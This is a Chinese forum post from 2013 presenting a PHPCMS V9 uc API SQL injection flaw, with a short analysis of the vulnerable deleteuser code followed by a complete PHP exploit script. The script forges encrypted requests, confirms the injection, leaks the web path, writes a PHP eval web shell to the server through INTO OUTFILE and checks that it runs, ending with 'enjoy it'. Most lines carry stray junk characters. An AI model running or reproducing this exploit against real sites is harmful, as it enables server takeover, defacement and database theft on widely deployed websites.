找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1948|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。- y* C. r# v0 N3 X4 G
+ W9 I# p, _: n5 G- B0 V. S2 Y0 |
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。. @7 L+ ~* P5 Y+ p7 i0 U6 D. P

) E& j7 |; [. R8 j/ W7 M# ?7 f漏洞分析:8 C0 W  D$ A2 W" J! k
1.未启用ucenter服务的情况下uc_key为空; h% w. b6 G4 r: F& Z# |  ~
define('UC_KEY', pc_base::load_config('system', 'uc_key'));  \* Z! v7 l1 x* C
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
) U3 Q$ ]' m: o' Y% t" u    public function deleteuser($get,$post) {, P' c4 i. l& x/ k% A7 N8 j: B
        pc_base::load_app_func('global', 'admin');
" F+ n; Q9 ^* L" a        pc_base::load_app_class('messagequeue', 'admin' , 0);& C0 N; {' v1 K& d) u7 c, _) U7 j5 q! \
        $ids = new_stripslashes($get['ids']);
3 }) O& l% X% s- q* S$ O        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
5 V2 V% m7 T) YSQL语句为
. D% _" k  D* P5 Z$ z( o* |SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)/ R4 \3 O2 T6 O4 E) y  s7 ?

5 K1 S1 N/ _+ T. Z利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
' U' e8 ^9 c; a% C1 a. B, m* A<?php
8 _& p( v8 Z8 q7 W- N: Rprint_r('
4 f8 d6 U* o' M& Y% A. z---------------------------------------------------------------------------
) g: B9 B% d$ O! D! tPHPcms (v9 or Old Version) uc api sql injection 0day  o* k8 {, Y( ~/ u' |
by rayh4c#80sec.com, @. M! p! @1 i* W3 ]( Z
---------------------------------------------------------------------------; Y; b" \: D( ~
');$ _& Q5 S6 s+ h! {$ v
# N; P5 Z  r: k" h1 l4 L! ~
if ($argc<3) {
% A2 O2 m, x4 {5 h    print_r('
" M( P: T  }5 m3 I8 r0 W---------------------------------------------------------------------------
5 l# O+ ?1 H& I( i2 iUsage: php '.$argv[0].' host path OPTIONS0 s) M& U5 i* j4 t+ c3 j
host:      target server (ip/hostname)/ R8 `2 h. J9 u! g& U) G
path:      path to phpcms5 M( F9 d* l+ g3 M9 X$ Y$ b
Options:
* B1 O4 G) z4 l" @1 t -p[port]:    specify a port other than 802 D0 i1 P9 y" Z. Q4 b
-P[ip:port]: specify a proxy; e- a# l# n3 e% ^5 y+ [5 N4 p
Example:
4 Z: W8 e  P0 ?# r7 y1 Nphp '.$argv[0].' localhost /
3 m" v, n8 H) w7 Qphp '.$argv[0].' localhost /phpcms/ -p819 k3 Y. r  ]/ C# H, a! V* F
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
! h8 |9 e4 x8 |' T3 e' ~* r---------------------------------------------------------------------------, u* C7 z* U: _& \, e7 ~& M! ^4 T
');
9 h3 c' Y" q9 ?    die;5 J+ N3 m/ k4 ?5 }" J
}: k0 ~/ X/ l- X- u5 `! p% v4 J
5 o2 j8 \  k, d# E% M' T1 Z
error_reporting(7);/ B% P% i* ~6 Z' P
ini_set("max_execution_time",0);
2 N. P% W) \& z/ z, c/ wini_set("default_socket_timeout",5);4 I# T3 [& Z: |$ i9 G; W' i

! i) K! l: n* M# m& }function quick_dump($string); Y3 k/ w& ?7 k& L8 Q! C/ Z
{
* G' v/ I: `) m( M7 k* i  $result='';$exa='';$cont=0;
$ v; N" ]- q. D% ]. s# W8 G  for ($i=0; $i<=strlen($string)-1; $i++)
0 m' b/ Q- I4 `1 _  {
# r  R5 s, g' O# E3 j   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+ n/ C7 x& b# G   {$result.="  .";}. A& M5 e& H! }4 H" y. J, x
   else
8 A$ Z$ \& D8 {! n8 L( L   {$result.="  ".$string[$i];}1 u2 p" z1 J3 a# n& q
   if (strlen(dechex(ord($string[$i])))==2)
( P% ?( j. O5 }. u/ j% C1 H   {$exa.=" ".dechex(ord($string[$i]));}
! D* h) m. D. p9 |* r2 n1 P$ D2 ]   else
" y& w, n5 A4 h; ~   {$exa.=" 0".dechex(ord($string[$i]));}
" ]0 F, Z# R, m- j   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}6 M0 q( H' M# R) B4 b
  }
% |& u' @! J0 `' c' K2 i+ Y) l- ` return $exa."\r\n".$result;
/ O7 H& `) F% P7 w9 U1 i, U}
0 C! M* }. w2 n6 o1 ^$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
# i. g0 [4 D6 B
/ k/ \0 i$ L8 b) V9 e# {- jfunction send($packet)3 p& E* d0 r) t" w5 v+ \
{
6 j2 O- }$ H/ A& S: e, N7 i1 |  global $proxy, $host, $port, $html, $proxy_regex;
. f+ E. f6 C, z/ ?/ M7 p  if ($proxy=='') {5 Y& P' `& A% k7 u# F
    $ock=fsockopen(gethostbyname($host),$port);
! a3 F% q9 A3 N    if (!$ock) {/ [% A: U' A. B: Z0 ^
      echo 'No response from '.$host.':'.$port; die;# \% G* ]% W# Z/ ^" g
    }
, c2 K+ o# y8 s" O2 L6 K; {0 i$ D  }: n; H! S3 T: v- i. S8 w. z' E0 G; V
  else {
! Y6 ~$ X, C; D        $c = preg_match($proxy_regex,$proxy);
/ {$ K' [% z! t1 F, ]/ z0 F# n( ?4 W    if (!$c) {
+ \3 \: b4 j7 h# D) I( a      echo 'Not a valid proxy...';die;
  R' O  n5 {* p3 G' c  ~; t: U    }9 N  `6 O/ @6 ~) ?% n
    $parts=explode(':',$proxy);
8 T6 j% O2 b! q$ X    $parts[1]=(int)$parts[1];1 D# d) z3 ]7 }9 L- @
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
  n# N6 [8 z( A# D; f+ v    $ock=fsockopen($parts[0],$parts[1]);3 }% k4 G/ T+ f0 N; I  R! R$ T
    if (!$ock) {( }* L+ O7 u; K
      echo 'No response from proxy...';die;- M  P  q' ^. F0 N, _7 ~' I" {
        }
) X. z- e& E! T$ I4 p( q  }4 N  `( O4 F4 [1 i# v
  fputs($ock,$packet);
6 z* i* B- R$ B  if ($proxy=='') {8 L3 L8 d1 T  k) B
    $html='';* e3 i; Y4 B- v, m# \0 s
    while (!feof($ock)) {) Y- ^2 H/ D1 k( D2 y
      $html.=fgets($ock);4 q6 C) F; Q; q2 e; a, y1 S& A
    }
* r' ^6 C7 o) z& q# y  }
* n8 ~3 ]( a5 A" }' {7 {# v  else {$ r+ \: q9 ~+ ?5 F& |# K
    $html='';
& Z! d1 q7 }4 c' b    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {$ p' h) [/ a" V2 k" t4 v  g3 f1 v
      $html.=fread($ock,1);
- c9 }# l$ f6 |2 I. v3 `9 f$ K    }
4 x; y5 g; c  e) Y/ @  }0 e5 G9 S: Y. V1 ?
  fclose($ock);
& r: r9 w5 O2 x- z) u' ^4 q/ C: o}
1 T7 Q: j  k, E2 s2 Z8 ^& i
: K1 u$ G2 S2 i( r( K$host=$argv[1];0 @6 O% M( t0 n" D" m0 h
$path=$argv[2];& V9 W0 n9 l$ ~
$port=80;& O" z/ C% r$ P6 W! e% ?9 K( ]
$proxy="";
4 I/ L. o1 [; Y8 @0 v3 N0 Ufor ($i=3; $i<$argc; $i++){$ X5 p! o& _8 x# ^
$temp=$argv[$i][0].$argv[$i][1];; ]3 w9 n) X) e
if ($temp=="-p")
! Z1 t& |1 |* L9 L- L; s{, S8 ^/ ^. N/ `$ H- e
  $port=(int)str_replace("-p","",$argv[$i]);' v( Q6 Q  w  N6 |- f! C3 t
}
! ~; i/ I& E- `" tif ($temp=="-P")
9 Z! }; \$ @8 u$ l{
" I5 l$ ?* e$ G+ ^  $proxy=str_replace("-P","",$argv[$i]);6 M5 N0 @, @0 q- g' l6 w
}, _0 }' F8 ]- j# e9 I$ `' C
}
4 h' ^/ D% u/ ?8 `8 {( j% w3 R$ e" V9 V8 b, d* k$ e! C% N( c
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
; Y3 ?$ U, N) Z# C. V! c0 \8 k% Mif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
' c- j0 {  |# s2 u/ N
1 T9 f: [8 J! \2 D' b( c! mfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {) N4 l: X% Z* X: e
7 i* d: F& a' ^9 Z: G$ v
    $ckey_length = 4;& m- `, y" C) s! I, B2 |+ E0 ^! u

5 Z' E6 E4 N% O, G; \    $key = md5($key ? $key : '');# ?1 _2 @* D& D# U# _7 z
    $keya = md5(substr($key, 0, 16));! y. i5 W5 J! F/ H/ a- E/ ^
    $keyb = md5(substr($key, 16, 16));
, [! P! g  L1 a    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';7 [+ L  O2 _" K: [6 j
' F) \/ ]/ ~  N5 _5 S
    $cryptkey = $keya.md5($keya.$keyc);
4 `0 y3 g7 j% c% H4 Z% c/ N- {    $key_length = strlen($cryptkey);" M4 c/ Y) G% o$ L5 H0 J+ F

; h' L# e/ J" {% w) x+ f    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
2 ?/ P% U+ d; v/ b    $string_length = strlen($string);
: c* {- `0 Q* S
$ K: I3 x" X: z+ m6 n; U    $result = '';, Z. C! `) w5 Z7 u( C3 V2 Y4 }
    $box = range(0, 255);' c% c1 P9 Q# V! x3 o

: w6 E& `4 ]) H4 m$ p/ C& O    $rndkey = array();
& V' l0 y9 }- O    for($i = 0; $i <= 255; $i++) {* J9 G2 Z' h5 ?; N5 D
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);% K$ A( G: D3 U  O% K* V2 d- Y* A  P' j) `0 `
    }
# j: p* {/ E; h7 r( s9 y
" w* K) ~5 G; Q4 g    for($j = $i = 0; $i < 256; $i++) {
# a4 W& ?: H' I* w/ H" T        $j = ($j + $box[$i] + $rndkey[$i]) % 256;5 n4 _  f  y2 ^. {' h; R; C6 V
        $tmp = $box[$i];
) G1 d0 K: v) V+ X8 K        $box[$i] = $box[$j];
- P, u. L2 g5 ?" a8 `# O        $box[$j] = $tmp;0 f! q7 q$ p  u0 k
    }! ~5 m7 O+ r% B4 [& x

* q' n9 J6 ]2 J% @; d2 K7 Z" }    for($a = $j = $i = 0; $i < $string_length; $i++) {
- _( n& Z) {' i/ X: Q        $a = ($a + 1) % 256;) y5 r" I3 R+ j2 ~5 I6 F, z
        $j = ($j + $box[$a]) % 256;5 I& A2 k" X4 W4 j9 c1 \7 L
        $tmp = $box[$a];+ Q* K5 A4 Q% d1 N5 I- h! E( p
        $box[$a] = $box[$j];
8 E, b1 s( z. [' C; J' X6 f        $box[$j] = $tmp;
+ Q7 \/ M3 O2 a4 D; A        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));/ q8 C' Y. ~& |3 y# h
    }- Z1 O. f- d1 l. }4 `& p' \

. e$ H' ~& J; D7 @( X8 F    if($operation == 'DECODE') {9 q  ~: O5 C. m3 t# A, G8 U
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
6 Q0 n& L! K/ a+ q% ~            return substr($result, 26);
3 ]& ?/ Q' L" j1 f# r2 |        } else {
7 `3 h4 V4 F9 [/ o9 s3 m+ z9 e            return '';* Y" w) F, x, {! s% C
        }5 c9 X( {5 ?- w
    } else {0 k* K5 I  P6 ?/ b3 S
        return $keyc.str_replace('=', '', base64_encode($result));# D) g0 `$ x4 b: X$ P, w
    }$ B3 @, y- @; |5 g

# x7 L& H5 S/ k+ }, `* O}4 o: d0 W1 F  T6 t6 m

' V/ s. `% m3 i& q) |* M$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
' u9 E' O* {5 y! h7 a  h1 e$SQL = urlencode(authcode($SQL, "ENCODE", ""));9 t0 e! B( ~$ [$ Z8 w
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";% w  m, \" U0 v- x
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
6 I3 z$ j6 {3 D  Q, s/ W. r- _$packet.="User-Agent: Mozilla/5.0\r\n";# E' T& P+ m" O: Y
$packet.="Host: ".$host."\r\n";
8 n4 d' _! Y7 K+ L  w$packet.="Connection: Close\r\n\r\n";) u) \  N9 E; @
send($packet);
7 b" }' S. v# M7 ]if(strpos($html,"MySQL Errno") > 0){
$ k7 y7 ?0 V+ ^! z& \* mecho "[2] 发现存在SQL注入漏洞"."\n";
( i1 J4 @6 A- K1 eecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";4 J$ v: q& c  f* s3 K1 O, H& b5 t6 K
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
; m3 w. v$ ?* U2 d' O! [$ I$packet.="User-Agent: Mozilla/5.0\r\n";
; {5 z6 i: V% s6 H1 M$packet.="Host: ".$host."\r\n";
$ f2 z6 J- N" O- w$ I5 A9 e$packet.="Connection: Close\r\n\r\n";/ X5 ~* E0 i! r. s! \
send($packet);
; Y5 V/ i$ {0 S# O6 h+ fpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);4 H, Z0 X5 k6 Q  u
//print_r($matches);" ^' q& h  K5 u, {% W; }
if(!empty($matches)){
% h, f  \& C" q; P" T0 I8 Mecho "[4] 得到web路径 " . $matches[0]."\n";
( M* ?/ G( }# |+ B0 Zecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";1 ^/ ]. ^& ]0 e/ N) m
$SQL = "time=999999999999999999999999&ids=1)";: X' R$ y. s' u! V7 H
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
' v) }2 \: O) F8 j3 s$SQL.="&action=deleteuser";
4 s/ F$ D* D0 K+ H$SQL = urlencode(authcode($SQL, "ENCODE", ""));$ U( i3 p0 f( L8 [  {2 x  h
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- j; b! T  K: b/ {, z
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% n# K& c0 Z# s4 o$packet.="User-Agent: Mozilla/5.0\r\n";
" [" U# X0 s; m$packet.="Host: ".$host."\r\n";" H2 I0 r: j4 G. m1 n
$packet.="Connection: Close\r\n\r\n";, h2 i& p! r* D5 T5 H
send($packet);3 Q# R. Y( j( o$ u% w+ e3 ^, g7 ?
if(strpos($html,"Access denied") > 0){
  i1 B% P; T  h+ p( o& o8 Uecho "[-] MYSQL权限过低 禁止写入文件 ";/ x* {7 E( L% r2 |& v
die;4 d) |5 Y! o% [3 a+ v- z
}% {# A' p) N7 |$ p' V; s9 c9 }
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
0 p/ v1 v& z- z/ m" u/ l$ l  Z$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
% C7 i' l; ]8 A  Q$packet.="User-Agent: Mozilla/5.0\r\n";& G3 x5 u; E2 i: J8 ], z: }' z6 t
$packet.="Host: ".$host."\r\n";
1 K. g$ Z' C" d* g$ [$packet.="Connection: Close\r\n\r\n";( B) X7 }4 b( O! ?1 x& e4 l
send($packet);, J; o: k7 ~$ u: u2 ~0 X2 q( b
if(strpos($html,"<title>phpinfo()</title>") > 0){
9 ^1 }& E; ?6 S0 cecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
9 N3 y2 f9 a0 G}
0 @) @+ d/ C8 V" |5 d}else{
* s9 @$ M2 ?- c$ vecho "[-]未取到web路径 ";
. K; I5 M" U5 c% {. Q, b1 y& U}' R  o. [4 s; A5 n: Z( H! x
}else{
# f, a+ \* |  ]* Lecho "[*]不存在SQL注入漏洞"."\n";
' V) |9 z: s9 @9 m% l* Y3 N) m}  N3 x0 k! n3 U9 B! {
6 E* L/ q( w# \& d
?>
  P1 z1 q* @5 I4 i0 f8 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表